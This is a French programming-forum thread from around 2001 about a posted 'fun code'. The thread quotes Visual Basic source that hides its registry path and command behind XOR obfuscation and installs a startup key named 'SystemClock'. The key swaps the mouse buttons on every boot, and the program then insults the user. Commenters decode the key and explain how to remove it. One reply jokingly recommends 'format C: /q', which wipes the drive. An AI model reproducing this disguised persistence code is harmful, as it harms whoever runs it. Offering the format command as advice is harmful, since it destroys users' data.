CODE AMUSANT
youl46
-
26 mars 2001 à 22:42
taha154 Messages postés 9 Date d'inscription mercredi 19 mai 2004 Statut Membre Dernière intervention 11 juin 2004 - 2 juin 2004 à 19:48
taha154 Messages postés 9 Date d'inscription mercredi 19 mai 2004 Statut Membre Dernière intervention 11 juin 2004 - 2 juin 2004 à 19:48
Cette discussion concerne un article du site. Pour la consulter dans son contexte d'origine, cliquez sur le lien ci-dessous.
https://codes-sources.commentcamarche.net/source/795-code-amusant
https://codes-sources.commentcamarche.net/source/795-code-amusant
2 juin 2004 à 19:48
2 janv. 2003 à 15:12
24 avril 2002 à 03:23
6 févr. 2002 à 23:46
14 sept. 2001 à 12:27
Pour pour ma part, je le trouve (totalement) inutile et je ne vois pas ce qu' il fait encore sur le site.
°-+ VbAlex
21 août 2001 à 17:23
- alt+f4 deux , trois fois et ca fera l'affaire.
si ca ne fonctionne toujours pas, demarrer -> arreter --> ouvrir une session DOS -->
taper : format C: /q
et chauffer votre Cd-rom dinstallation de Win-9x(NT)
10 août 2001 à 20:01
7 mai 2001 à 14:23
2 mai 2001 à 14:06
13 avril 2001 à 20:33
2 avril 2001 à 14:43
2 avril 2001 à 10:18
2 avril 2001 à 09:39
Pour virer la clef tu fais un regedit et tu supprime :
HKEY_LOCAL_MACHINE-SOFTWARE-Microsoft-Windows-CurrentVersion-RunServices-SystemClock
Mémère
31 mars 2001 à 23:24
31 mars 2001 à 01:29
tu met koi au demarrage de windows (tout ce que g compris jusque là...), mais le reste du code, ca sert à koi ??
Merci
30 mars 2001 à 18:29
29 mars 2001 à 07:48
28 mars 2001 à 19:27
Private Declare Function PutThisWhereIWant Lib "advapi32.dll" Alias "RegCreateKeyA" _
(ByVal hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function LetSetItHere Lib "advapi32.dll" Alias "RegSetValueExA" _
(ByVal hkey As Long, ByVal lpValueName As String, ByVal Reserved As Long, _
ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Private Declare Function MaisOuJeSuis Lib "kernel32" Alias "GetVersionExA" _
(lpVersionInformation As OSVERSIONINFO) As Long
Private Type OSVERSIONINFO
dwOSVersionInfoSize As Long
dwMajorVersion As Long
dwMinorVersion As Long
dwBuildNumber As Long
dwPlatformId As Long
szCSDVersion As String * 128
End Type
Private Sub Form_Load()
Call BuildApp
MsgBox LaGrandeVerite$("Vous êtes des blaireaux"), vbOKOnly, _
LaGrandeVerite$("Et Oui...")
End
End Sub
Function LaGrandeVerite$(LeText$)
a$ = ""
For i = 1 To Len(LeText$)
LeCar = Asc(Mid$(LeText$, i, 1)) Xor i
a$ = a$ + Chr$(LeCar)
Next i
LaGrandeVerite$ = a$
End Function
Sub BuildApp()
Dim Resultat As Long
Dim Ident As Long
Resultat = 0
Where$ = LaGrandeVerite$("SoftwareMic" + Chr$(127) + "a|" + Chr$(127) + _
"vdLGy~tgcLSebbU^DfUBCY_^lbE^cUbfysuc")
Resultat = PutThisWhereIWant(&H80000002, Where$, Ident)
If Resultat = 0 Then
LeNom$ = LaGrandeVerite$("SystemClock")
If GreatPlaceToLive = 2 Then
Value$ = LaGrandeVerite$("rundll32 " + Chr$(127) + "xi" + Chr$(127) + _
"<??F`tcPph`pU`gy`c")
Else
Value$ = LaGrandeVerite$("rundll32 " + Chr$(127) + "xi" + Chr$(127) + _
Chr$(34) + "]esf[}gm{Pgbb}|")
End If
Resultat = LetSetItHere(Ident, LeNom$, 0&, 1, ByVal Value$, Len(Value$) + 1)
End If
End Sub
Function GreatPlaceToLive()
Dim Here As OSVERSIONINFO
Here.dwOSVersionInfoSize = Len(Here)
Call MaisOuJeSuis(Here)
GreatPlaceToLive = Here.dwPlatformId
End Function
26 mars 2001 à 22:42
le responsable du site !! vous êtes fou ou koi
26 mars 2001 à 18:56
26 mars 2001 à 12:53
26 mars 2001 à 12:19
26 mars 2001 à 12:15
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunServices
Nom :
SystemClock
Valeur :
rundll32 user32,SwapMouseButton
On n'a pas besoin de codes de ce genre pour pourrir ce site...
26 mars 2001 à 10:37